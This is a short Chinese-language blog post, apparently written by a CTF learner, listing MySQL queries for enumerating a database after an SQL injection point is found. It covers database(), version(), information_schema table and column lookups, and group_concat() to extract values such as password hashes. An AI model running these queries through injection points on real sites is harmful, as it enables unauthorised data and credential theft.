SQL注入常用爆库语句

SQL注入的时候,找到了注入点,但是老是搞不清怎么爆库,最后还是得看大佬的WP
最后,终于下定决心自己整理一下爆库的常用语句和思路,如果哪里写的不对麻烦在评论区指出:-D

省流概要

select group_concat(table_name) from information_schema.tables where table_schema=database();  ## 查看表名
## student, user, passwd
select group_concat(column_name) from information_schema.columns where table_name="passwd";  ## 查看列名
## value, hashValue
select group_concat(value) from passwd;  ## 查看值

详细介绍

首先常用到的是这个数据库

information_schema

里面有许多表,记载了整个mysql里的各种信息,比如表名和列名,一般用得到的表为这两个

tables

tables表里面记载了整个数据库里所有的表的信息
重要的列有

  • table_name: 表名
  • table_schema: 表所在数据库名

这里我只查看了范例数据库(my_data)里的这两列


原来整个表的信息非常多,而且很长,我的屏幕是放不下,可以给你们感受下

—————————————————————————————————————————————————————

columns

columns表里记载了所有列的信息
重要的列有

  • table_name: 列所在的表名
  • table_schema: 列所在的数据库的名字
  • column_name: 列的名字
  • datatype: 这一列的数据类型





爆库基本流程

1. 爆出现在正在使用的数据库的名字和版本

select database(),version();
## 这是两个函数,分别会返回数据库名和版本号


2. 爆表名

select table_name from information_schema.tables where table_schema=database();
或
select table_name from information_schema.tables where table_schema='你查到的正在使用的数据库的名字';<br/>
## 从information_schema数据库中的tables表中,选择table_name列中table_schema(表所属于的数据库)等于你想要查看的数据库的部分。


3. 爆列名

从这几个表里选几个来看里面的列名,全部一起看容易乱,毕竟是网页里给出的位置在看,通常看起来会比较乱

比如我们这里查看student表里有什么列

select column_name from information_schema.columns where table_schema=database() and table_name='student';
## 从information_schema数据库中的columns表中,提取column_name列,要求table_schema列为当前数据库,且table_name(表名)列要是student。

注意值需要用引号 ' 括起来


4. 查看具体内容

万事俱备,只欠东风,表名和列名都知道了,看就完了

select sname from student; 




5. group_concat()

这里要注意,用网站给出的展示位来看这些信息的时候,大部分时候网页只展示列的第一个信息,我们往往看不到所需要的信息。

这个时候就需要我们用group_concat()函数了

group_concat()函数可以将放入函数的所有信息用逗号隔开,连成一个字符串,这样我们就可以成功爆库了。

码字好累hhhhhhh

posted @ 2021-04-24 14:36  AikNr  阅读(2566)  评论(0编辑  收藏  举报